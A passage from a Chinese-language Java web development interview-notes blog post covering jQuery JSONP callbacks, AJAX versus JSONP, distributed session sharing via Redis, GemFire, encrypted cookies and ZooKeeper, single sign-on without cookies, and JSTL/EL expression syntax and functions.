11.	             url: "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998",
12.	             dataType: "jsonp",
13.	             jsonp: "callback",//传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)
14.	             jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据
15.	             success: function(json){
16.	                 alert('您查询到航班信息:票价: ' + json.price + ' 元,余票: ' + json.tickets + ' 张。');
17.	             },
18.	             error: function(){
19.	                 alert('fail');
20.	             }
21.	         });
22.	     });
23.	     </script>
24.	     </head>
25.	  <body>
26.	  </body>
27.	</html>

      是不是有点奇怪?为什么我这次没有写flightHandler这个函数呢?而且竟然也运行成功了!

      这就是jQuery的功劳了,jquery在处理jsonp类型的ajax时(,虽然jquery也把jsonp归入了ajax,但其实它们真的不是一回事儿),自动帮你生成回调函数并把数据取出来供success属性方法来调用,是不是很爽呀?

补充

这里针对ajax与jsonp的异同再做一些补充说明:

      ajax和jsonp这两种技术在调用方式上”看起来”很像,目的也一样,都是请求一个url,然后把服务器返回的数据进行处理,因此jquery和ext等框架都把jsonp作为ajax的一种形式进行了封装。但ajax和jsonp其实本质上是不同的东西。ajax的核心是通过XmlHttpRequest获取非本页内容,而jsonp的核心则是动态添加.

24 session共享怎么做的(分布式如何实现session共享)?

     问题描述:一个用户在登录成功以后会把用户信息存储在session当中,这时session所在服务器为server1,那么用户在session失效之前如果再次使用app,那么可能会被路由到server2,这时问题来了,server没有该用户的session,所以需要用户重新登录,这时的用户体验会非常不好,所以我们想如何实现多台server之间共享session,让用户状态得以保存。

      1服务器实现的session复制或session共享,这类型的共享session是和服务器紧密相关的,比如webSphere或JBOSS在搭建集群时候可以配置实现session复制或session共享,但是这种方式有一个致命的缺点,就是不好扩展和移植,比如我们更换服务器,那么就要修改服务器配置。

      2利用成熟的技术做session复制,比如12306使用的gemfire,比如常见的内存数据库如redis或memorycache,这类方案虽然比较普适,但是严重依赖于第三方,这样当第三方服务器出现问题的时候,那么将是应用的灾难。

      3将session维护在客户端,很容易想到就是利用cookie,但是客户端存在风险,数据不安全,而且可以存放的数据量比较小,所以将session维护在客户端还要对session中的信息加密。我们实现的方案可以说是第二种方案和第三种方案的合体,可以利用gemfire实现session复制共享,还可以将session维护在redis中实现session共享,同时可以将session维护在客户端的cookie中,但是前提是数据要加密。这三种方式可以迅速切换,而不影响应用正常执行。我们在实践中,首选gemfire或者redis作为session共享的载体,一旦session不稳定出现问题的时候,可以紧急切换cookie维护session作为备用,不影响应用提供服务。

      这里主要讲解redis和cookie方案,gemfire比较复杂大家可以自行查看gemfire工作原理。利用redis做session共享,首先需要与业务逻辑代码解耦,不然session共享将没有意义,其次支持动态切换到客户端cookie模式。redis的方案是,重写服务器中的HttpSession和HttpServletRequest,首先实现HttpSession接口,重写session的所有方法,将session以hash值的方式存在redis中,一个session的key就是sessionID,setAtrribute重写之后就是更新redis中的数据,getAttribute重写之后就是获取redis中的数据,等等需要将HttpSession的接口一一实现。

      实现了HttpSesson,那么我们先将该session类叫做MySession(当然实践中不是这么命名的),当MySession出现之后问题才开始,怎么能在不影响业务逻辑代码的情况下,还能让原本的request.getSession()获取到的是MySession,而不是服务器原生的session。这里,我决定重写服务器的HttpServletRequet,这里先称为MyRequest,但是这可不是单纯的重写,我需要在原生的request基础上重写,于是我决定在filter中,实现request的偷梁换柱,我的思路是这样的,MyRequest的构建器,必须以request作为参数,于是我在filter中将服务器原生的request(也有可能是框架封装过的request),当做参数new出来一个MyRequest,并且MyRequest也实现了HttpServletRequest接口,其实就是对原生request的一个增强,这里主要重写了几个request的方法,但是最重要的是重写了request.getSession(),写到这里大家应该都明白为什么重写这个方法了吧,当然是为了获取MySession,于是这样就在filter中,偷偷的将原生的request换成MyRequest了,然后再将替换过的request传入chan.doFilter(),这样filter时候的代码都使用的是MyRequest了,同时对业务代码是透明的,业务代码获取session的方法仍然是

      request.getSession(),但其实获取到的已经是MySession了,这样对session的操作已经变成了对redis的操作。这样实现的好处有两个,第一开发人员不需要对session共享做任何关注,session共享对用户是透明的;第二,filter是可配置的,通过filter的方式可以将session共享做成一项可插拔的功能,没有任何侵入性。这个时候已经实现了一套可插拔的session共享的框架了,但是我们想到如果redis服务出了问题,这时我们该怎么办呢,于是我们延续redis的想法,想到可以将session维护在客户端内(加密的cookie),当然实现方法还是一样的,我们重写HttpSession接口,实现其所有方法,比如setAttribute就是写入cookie,getAttribute就是读取cookie,我们可以将重写的session称作MySession2,这时怎么让开发人员透明的获取到MySession2呢,实现方法还是在filter内偷梁换柱,在MyRequest加一个判断,读取sessionType配置,如果sessionType是redis的,那么getSession的时候获取到的是MySession,如果sessionType是coolie的,那么getSession的时候获取到的是MySession2,以此类推,用同样的方法就可以获取到MySession3,4,5,6等等。

     这样两种方式都有了,那么我们怎实现两种session共享方式的快速切换呢,刚刚我提到一个sessionType,这是用来决定获取到session的类型的,只要变换sessionType就能实现两种session共享方式的切换,但是sessionType必须对所有的服务器都是一致的,如果不一致那将会出现比较严重的问题,我们目前是将sessionType维护在环境变量里,如果要切换sessionType就要重启每一台服务器,完成session共享的转换,但是当服务器太多的时候将是一种灾难。而且重启服务意味着服务的中断,所以这样的方式只适合服务器规模比较小,而且用户量比较少的情况,当服务器太多的时候,务必需要一种协调技术,能够让服务器能够及时获取切换的通知。基于这样的原因,我们选用zookeeper作为配置平台,每一台服务器都会订阅zookeeper上的配置,当我们切换sessionType之后,所有服务器都会订阅到修改之后的配置,那么切换就会立即生效,当然可能会有短暂的时间延迟,但这是可以接受的。

25 在单点登录中,如果cookie被禁用了怎么办

      单点登录的原理是后端生成一个sessionID,然后设置到cookie,后面的所有请求浏览器都会带上cookie,然后服务端从cookie里获取sessionID,再查询到用户信息。所以,保持登录的关键不是cookie,而是通过cookie保存和传输的sessionID,其本质是能获取用户信息的数据。除了cookie,还通常使用HTTP请求头来传输。但是这个请求头浏览器不会像cookie一样自动携带,需要手工处理。

26 jstl

  JSTL(Java server pages standarded tag library,即JSP标准标签库)是由JCP所制定的标准规范,它主要提供给Java Web开发人员一个标准通用的标签库,开发人员可以利用这些标签取代JSP页面上的Java代码,从而提高程序的可读性,降低程序的维护难度。

27 EL表达式

  EL表达式:它是可以在JSP页面中直接使用的标签语言!

     1、EL表达式中的查找并输出

           全域查找:从小域往大域查找,pageContext->request->session->application

           ${xxx},全域查找名为xxx的属性,如果不存在,输出空字符串。

           ${pageScope.xxx}、${requestScope.xxx}、${sessionScope.xxx}、${applicationScope.xxx}:指定域获取属性!

例:

          ${pageScope.user}:输出pageContext.getAttribute("user")

         ${requestScope.user}:输出request.getAttribute("user");

         ${sessionScope.user}:输出session.getAttribute("user");

         ${applicationScope.user}:输出application.getAttribute("user");

     2、EL表达式与JavaBean的结合

<%

    Employee employee=new Employee();

    employee.setName("张三");

    employee.setSalary(20);

    request.setAttribute("employee", employee);

%>

${requestScope.employee.name}

${requestScope.employee.salary}

3、EL函数库

  使用前需要导入标签库:<%@taglib prefix="fn" uri="http://java.sun.com/JSP/jstl/functions" %>

              String toUpperCase(String input):把参数转换成大写

              String toLowerCase(String input):把参数转换成小写

              int indexOf(String input, String substring):从大串,输出小串的位置!

              boolean contains(String input, String substring):查看大串中是否包含小串

              boolean containsIgnoreCase(String input, String substring):忽略大小写的,是否包含

              boolean startsWith(String input, String substring):是否以小串为前缀

              boolean endsWith(String input, String substring):是否以小串为后缀

              String substring(String input, int beginIndex, int endIndex):截取子串

              String substringAfter(String input, String substring):获取大串中,小串所在位置后面的字符串

              substringBefore(String input, String substring):获取大串中,小串所在位置前面的字符串

              String escapeXml(String input):把input中“<”、">"、"&"、"'"、""",进行转义

              String trim(String input):去除前后空格

              String replace(String input, String substringBefore, String substringAfter):替换

              String[] split(String input, String delimiters):分割字符串,得到字符串数组

              int length(Object obj):可以获取字符串、数组、各种集合的长度!

              String join(String array[], String separator):联合字符串数组!

             使用格式:${前缀名:函数},前缀名为导入标签库语句的prefix属性值,此时为fn

              例: ${fn:length(arr) }

4、EL表达式的运算符

      符号 常规 在EL表达式里使用

      1      等于 eq   或者  ==       

      2      不等于      ne   或者 !=  

     3      大于 gt   或者 >    

     4      小于 lt   或者 <     

     5      大于等于  ge   或者 >=

     6      小于等于  le   或者 <=  

          值为空格式:       ${empty requestScope.键名}

          值不为空格式:   ${! empty requestScope.键名}

          正则表达式:${ requestScope.键名==0 ? '值1':'值2'}

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值